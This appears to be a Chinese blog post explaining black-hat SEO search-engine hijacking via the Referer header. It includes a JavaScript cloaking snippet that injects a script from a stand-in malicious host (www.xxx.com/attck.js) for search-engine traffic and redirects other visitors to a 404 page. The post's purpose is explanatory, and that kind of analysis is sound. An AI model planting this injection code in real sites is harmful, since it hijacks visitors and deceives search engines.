黑帽SEO之搜索引擎劫持-域名劫持原理分析

问题起源

这是在《Web安全深度剖析》的第二章"深入HTTP请求流程"的2.3章节"黑帽SEO之搜索引擎劫持"提到的内容,但是书中描述并不详细,没有讲如何攻击达到域名劫持的效果。

书中对SEO搜索引擎劫持的现象描述如下:直接输入网站的域名可以进入网站,但是通过在百度或者谷歌等搜索引擎通过关键字看到自己的网站后,点击链接会跳转到其他网站,黑帽SEO利用HTTP协议中Referer和浏览器客户端User-agent字段来欺骗搜索引擎,这到底是如何做到的呢?

原始劫持步骤描述

书中提到当用户通过百度或者谷歌搜索引擎打开网站时,一般会引出源页面(Referer消息头),利用这点就可以用任何Web语言进行针对搜索引擎的流量劫持,步骤如下:

1.首先建立劫持搜索引擎库,比如以Baidu、Google等域名为关键字

2.获取HTTP Referer首部信息。

3.遍历搜索引擎库,并与referer的内容相比较,如果两者相同或者存在搜索引擎关键字,那么页面将会发生跳转,也就是域名劫持。

对于书中这部分讲解,我认为讲解的很模糊,怎么比较Referer字段相同或者存在关键字就发生域名劫持,还有就是与UserAgent字段也没有关系啊,只在后面提了一句Useragent主要用于劫持搜索引擎的蜘蛛。整体来说书中P25页的内容比较抽象,看过只觉得云里雾里,没有逻辑性。

SEO域名劫持原理分析

HTTP协议

这里我先介绍下HTTP协议中这两个字段的含义,对比如下表所示

字段 Referer User-Agent
作用 表示当前请求是从哪个页面链接或跳转过来的 标识请求的客户端(浏览器、爬虫、应用程序等)的软硬件信息
示例值 Referer: https://example.com/page1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
示例含义 https://example.com/page1 点击链接跳转到 https://example.com/page2,则访问 page2 的请求中会包含: Referer: https://example.com/page1 代表发起请求的客户端的软硬件信息为 Windows NT 10.0:操作系统为 Windows 10。 Chrome/120.0.0.0:浏览器为 Chrome 120 版本。 Safari/537.36:兼容 Safari 内核。
隐私问题 可能泄露用户浏览历史 可能泄露设备信息
是否可空 直接输入地址访问时为空 必须存在(但可伪造)

基于此可知,如果我们在百度搜索"csdn",引擎搜索关键字看到的网站,打开csdn的网页链接,如下所示

Referer一般应该为搜索关键字的页面(也就是对应的搜索引擎页面),内容大概如下所示

复制代码
https://www.baidu.com/s?ie=utf-8&f=8&rsv_bp=1&rsv_idx=1&tn=baidu&wd=csdn&fenlei=256&oq=csdn

分析攻击原理

在原始劫持步骤的第三步中提到,当Referer的内容与搜索引擎库匹配时发生跳转,这是什么原理呢?由于Referer内容为搜索引擎的相关信息,为何匹配上就攻击成功呢,这是因为书中在讲解这个步骤时没有描述攻击脚本信息,假设有如下攻击脚本:

复制代码
// 定义一个正则表达式,用于匹配常见的搜索引擎域名
// 匹配格式:.引擎名.后缀(如 .baidu.com、.google.com.hk)
// 修饰符:i(忽略大小写)、g(全局匹配)
var regexp = /\.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(\.[a-z0-9\-]+){1,2}\//ig;

// 获取当前页面的来源页地址(即HTTP请求头中的Referer字段)
var where = document.referer;

// 检查来源页地址是否匹配正则表达式(即是否来自搜索引擎)
if (regexp.test(where)) {
    // 如果来自搜索引擎,动态插入一个恶意脚本
    // 该脚本可能用于SEO作弊、流量劫持或攻击行为
    document.write('<script language="javascript" type="text/javascript" src="http://www.xxx.com/attck.js"></script>');
} else {
    // 如果不是来自搜索引擎,跳转到404页面(可能用于隐藏真实内容)
    window.location.href = "../../404.htm";
}

该脚本通过检测HTTP请求的Referer字段,判断用户访问的网址来源是否来自搜索引擎(如百度、Google等)。如果匹配成功(即流量来自搜索引擎爬虫或搜索结果页跳转,代码来看就是egexp正则表达式中的关键字),则动态插入恶意JavaScript脚本(脚本中的挂马脚本src="http://www.xxx.com/attck.js"),可能用于SEO作弊(如伪造内容、刷排名)、流量劫持(跳转至恶意网站)或注入攻击代码(如XSS、挖矿脚本)。而普通用户直接访问时,则会被重定向至404页面,使恶意内容仅对搜索引擎可见,从而实现Cloaking(伪装攻击),欺骗搜索引擎收录虚假内容,劫持搜索流量。这种手法属于黑帽SEO,严重违反搜索引擎规则,可能导致网站被降权或封禁。

总结

综上所述,原始的步骤就可以解释通了,我们再来回顾下这个步骤,攻击过程可以拆解为 "检测来源 → 匹配搜索引擎 → 执行劫持"*三个阶段,具体如下:

1. 建立搜索引擎劫持库

  • 通过脚本中的如下正则表达式来实现关键字的搜索引擎库

    var regexp = /.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|360|sm|sp)(.[a-z0-9-]+){1,2}//ig;

  • 匹配的域名包括:`.baidu.com`、`.google.com.hk`、`.bing.com` 等。

  • 匹配规则:

  • `\.(引擎名)`:匹配域名中的搜索引擎关键字(如 `.baidu`)。

  • `(\.[a-z0-9\-]+){1,2}`:匹配顶级域名(如 `.com`、`.com.hk`)。

2. 获取并检测HTTP Referer字段

浏览器在请求网页时会自动携带 `Referer` 字段,标明当前请求的来源页面。

这时使用脚本来匹配refer中字段是否包含搜索引擎相关的关键字,即可判断流量是否为搜索引擎流量。

3. 执行劫持:差异化响应攻击

当流量被识别为来自搜索引擎时,脚本动态插入恶意代码可能导致SEO域名劫持等问题:

复制代码
document.write('<script src="http://www.xxx.com/attck.js"></script>');

然而当不匹配搜索引擎时,比如只是普通用户则不发起攻击,这里脚本选择跳转到404页面, 目的应该是避免普通用户发现异常,仅对搜索引擎暴露恶意内容:

复制代码
  window.location.href = "../../404.htm";

综上所示,攻击流程如下所示:

相关推荐
猫头虎2 小时前
百度搜索AI开放计划:助力开发者通过MCP Server连接用户和应用
搜索引擎·百度·mcp
二爷记3 小时前
QXQ3真i9级CPU是捡漏还是踩坑!i9-12900 ES版CPU值得入手吗?
大数据·elasticsearch·搜索引擎·全文检索
何双新4 小时前
L3-3、从单轮到链式任务:设计协作型 Prompt 系统
服务器·搜索引擎·prompt
技术项目引流13 小时前
elasticsearch查询中的特殊字符影响分析
大数据·elasticsearch·搜索引擎
盈达科技14 小时前
【盈达科技】GEO(生成式引擎优化)底层逻辑
搜索引擎
yangmf204019 小时前
使用 Logstash 迁移 MongoDB 数据到 Easysearch
java·elasticsearch·搜索引擎
Elastic 中国社区官方博客2 天前
Elasticsearch 堆内存使用情况和 JVM 垃圾回收
大数据·jvm·数据库·elasticsearch·搜索引擎·全文检索
TracyCoder1232 天前
ElasticSearch深入解析(二):核心概念
大数据·elasticsearch·搜索引擎
白雪讲堂2 天前
【白雪讲堂】GEO优化第7篇 -构建《推荐类》内容的结构化模板
大数据·人工智能·搜索引擎·geo
yangmf20402 天前
私有知识库 Coco AI 实战(三):摄入 Elasticsearch 官方文档
人工智能·elasticsearch·搜索引擎·全文检索·coco ai